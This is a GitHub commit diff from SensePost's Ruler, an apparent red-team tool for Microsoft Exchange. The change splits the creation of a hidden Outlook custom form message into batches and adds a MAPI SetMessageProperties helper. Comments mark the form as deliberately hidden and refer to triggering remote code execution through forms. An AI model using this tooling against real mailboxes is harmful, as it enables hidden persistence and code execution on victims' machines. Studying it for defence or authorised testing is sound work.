Skip to content

Commit 2d0fadc

Browse files
staaldraadstaaldraad
authored
Merge pull request sensepost#26 from sensepost/dev
Fix for RPC/HTTP with Forms
2 parents d8988c3 + 22c5f24 commit 2d0fadc

File tree

2 files changed

+93
-16
lines changed

2 files changed

+93
-16
lines changed

‎forms/rulerforms.go

+22-16
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ func CreateFormAttachmentTemplate(folderid, messageid []byte, pstr string) error
8383
//CreateFormMessage creates the associate message that holds the form data
8484
func CreateFormMessage(suffix string) ([]byte, error) {
8585
folderid := mapi.AuthSession.Folderids[mapi.INBOX]
86-
propertyTagx := make([]mapi.TaggedPropertyValue, 17)
86+
propertyTagx := make([]mapi.TaggedPropertyValue, 8)
8787
var err error
8888

8989
propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagMessageClass, PropertyValue: utils.UniString("IPM.Microsoft.FolderDesign.FormsDescription")}
@@ -95,15 +95,23 @@ func CreateFormMessage(suffix string) ([]byte, error) {
9595
propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :)
9696
propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)}
9797

98+
//create the message in the "associated" contents table for the inbox
99+
msg, err := mapi.CreateAssocMessage(folderid, propertyTagx)
100+
101+
if err != nil {
102+
return nil, err
103+
}
104+
105+
propertyTagx = make([]mapi.TaggedPropertyValue, 5)
98106
data := utils.EncodeNum(uint32(2)) //COUNT as a uint32 instead of the usual uint16
99107
data = append(data, utils.EncodeNum(uint64(281487861678082))...) //static
100108
data = append(data, utils.EncodeNum(uint64(281496451612674))...) //static
101-
propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag682C, PropertyValue: data}
109+
propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag682C, PropertyValue: data}
102110
data = []byte{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
103-
propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6831, PropertyValue: append(utils.COUNT(len(data)), data...)}
111+
propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6831, PropertyValue: append(utils.COUNT(len(data)), data...)}
104112
data = []byte{0x0C, 0x0D, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00}
105-
propertyTagx[10] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6832, PropertyValue: append(utils.COUNT(len(data)), data...)}
106-
propertyTagx[11] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6B00, PropertyValue: append([]byte("1112110010000000"), []byte{0x00}...)}
113+
propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6832, PropertyValue: append(utils.COUNT(len(data)), data...)}
114+
propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6B00, PropertyValue: append([]byte("1112110010000000"), []byte{0x00}...)}
107115

108116
data, err = utils.ReadFile("templates/img0.bin")
109117
if err != nil {
@@ -114,8 +122,10 @@ func CreateFormMessage(suffix string) ([]byte, error) {
114122
return nil, err
115123
}
116124
//the small icon for the message
117-
propertyTagx[12] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6823, PropertyValue: append(utils.COUNT(len(data)), data...)}
125+
propertyTagx[4] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6823, PropertyValue: append(utils.COUNT(len(data)), data...)}
126+
_, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx)
118127

128+
propertyTagx = make([]mapi.TaggedPropertyValue, 4)
119129
data, err = utils.ReadFile("templates/img1.bin")
120130
if err != nil {
121131
utils.Error.Println(err)
@@ -125,18 +135,14 @@ func CreateFormMessage(suffix string) ([]byte, error) {
125135
return nil, err
126136
}
127137
//the large icon for the message
128-
propertyTagx[13] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6824, PropertyValue: append(utils.COUNT(len(data)), data...)}
129-
propertyTagx[14] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6827, PropertyValue: append([]byte("en"), []byte{0x00}...)} //Set language value
130-
propertyTagx[15] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABCompressedSize, PropertyValue: []byte{0x20, 0xF0, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}} //fixed value, not sure how this is calculated or if it can be kept static.
131-
propertyTagx[16] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABDN, PropertyValue: utils.CookieGen()} //generate a random GUID
138+
propertyTagx[0] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6824, PropertyValue: append(utils.COUNT(len(data)), data...)}
139+
propertyTagx[1] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6827, PropertyValue: append([]byte("en"), []byte{0x00}...)} //Set language value
140+
propertyTagx[2] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABCompressedSize, PropertyValue: []byte{0x20, 0xF0, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46}} //fixed value, not sure how this is calculated or if it can be kept static.
141+
propertyTagx[3] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagOABDN, PropertyValue: utils.CookieGen()} //generate a random GUID
132142

133-
//create the message in the "associated" contents table for the inbox
134-
msg, err := mapi.CreateAssocMessage(folderid, propertyTagx)
143+
_, err = mapi.SetMessageProperties(folderid, msg.MessageID, propertyTagx)
135144

136-
if err != nil {
137-
return nil, err
138-
}
139-
return msg.MessageID, nil
145+
return msg.MessageID, err
140146
}
141147

142148
//CreateFormTriggerMessage creates a valid message to trigger RCE through an existing form

‎mapi/mapi.go

+71
Original file line numberDiff line numberDiff line change
@@ -1163,6 +1163,77 @@ func WriteAttachmentProperty(folderid, messageid []byte, attachmentid uint32, pr
11631163
return &RopSaveChangesAttachmentResponse{}, ErrUnknown
11641164
}
11651165

1166+
func SetMessageProperties(folderid, messageid []byte, propertyTags []TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) {
1167+
1168+
execRequest := ExecuteRequest{}
1169+
execRequest.Init()
1170+
1171+
getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID}
1172+
getMessage.InputHandle = 0x00
1173+
getMessage.OutputHandle = 0x01
1174+
getMessage.FolderID = folderid
1175+
getMessage.MessageID = messageid
1176+
getMessage.CodePageID = 0xFFF
1177+
getMessage.OpenModeFlags = 0x03
1178+
1179+
fullReq := getMessage.Marshal()
1180+
1181+
setProperties := RopSetPropertiesRequest{RopID: 0x0A, LogonID: AuthSession.LogonID}
1182+
setProperties.InputHandle = 0x01
1183+
setProperties.PropertValueCount = uint16(len(propertyTags))
1184+
setProperties.PropertyValues = propertyTags
1185+
propertySize := 0
1186+
for _, p := range propertyTags {
1187+
propertySize += len(utils.BodyToBytes(p))
1188+
}
1189+
1190+
setProperties.PropertValueSize = uint16(propertySize + 2)
1191+
1192+
fullReq = append(fullReq, setProperties.Marshal()...)
1193+
1194+
saveMessage := RopSaveChangesMessageRequest{RopID: 0x0C, LogonID: AuthSession.LogonID}
1195+
saveMessage.ResponseHandleIndex = 0x02
1196+
saveMessage.InputHandle = 0x01
1197+
saveMessage.SaveFlags = 0x02
1198+
1199+
fullReq = append(fullReq, saveMessage.Marshal()...)
1200+
1201+
execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
1202+
execRequest.RopBuffer.ROP.RopsList = fullReq
1203+
1204+
execResponse, err := sendMapiRequest(execRequest)
1205+
1206+
if err != nil {
1207+
return nil, &TransportError{err}
1208+
}
1209+
1210+
if execResponse.StatusCode == 0 {
1211+
bufPtr := 10
1212+
var p int
1213+
var e error
1214+
1215+
getMessageResp := RopOpenMessageResponse{}
1216+
if p, e = getMessageResp.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil {
1217+
return nil, e
1218+
}
1219+
1220+
bufPtr += p
1221+
propertiesResponse := RopSetPropertiesResponse{}
1222+
if p, e = propertiesResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil {
1223+
return nil, e
1224+
}
1225+
1226+
bufPtr += p
1227+
1228+
saveMessageResponse := RopSaveChangesMessageResponse{}
1229+
e = saveMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:])
1230+
1231+
return &saveMessageResponse, e
1232+
}
1233+
return nil, ErrUnknown
1234+
1235+
}
1236+
11661237
//SetPropertyFast is used to create a message on the exchange server through a the RopFastTransferSourceGetBufferRequest
11671238
func SetPropertyFast(folderid []byte, messageid []byte, property TaggedPropertyValue) (*RopSaveChangesMessageResponse, error) {
11681239
execRequest := ExecuteRequest{}

0 commit comments

Comments
 (0)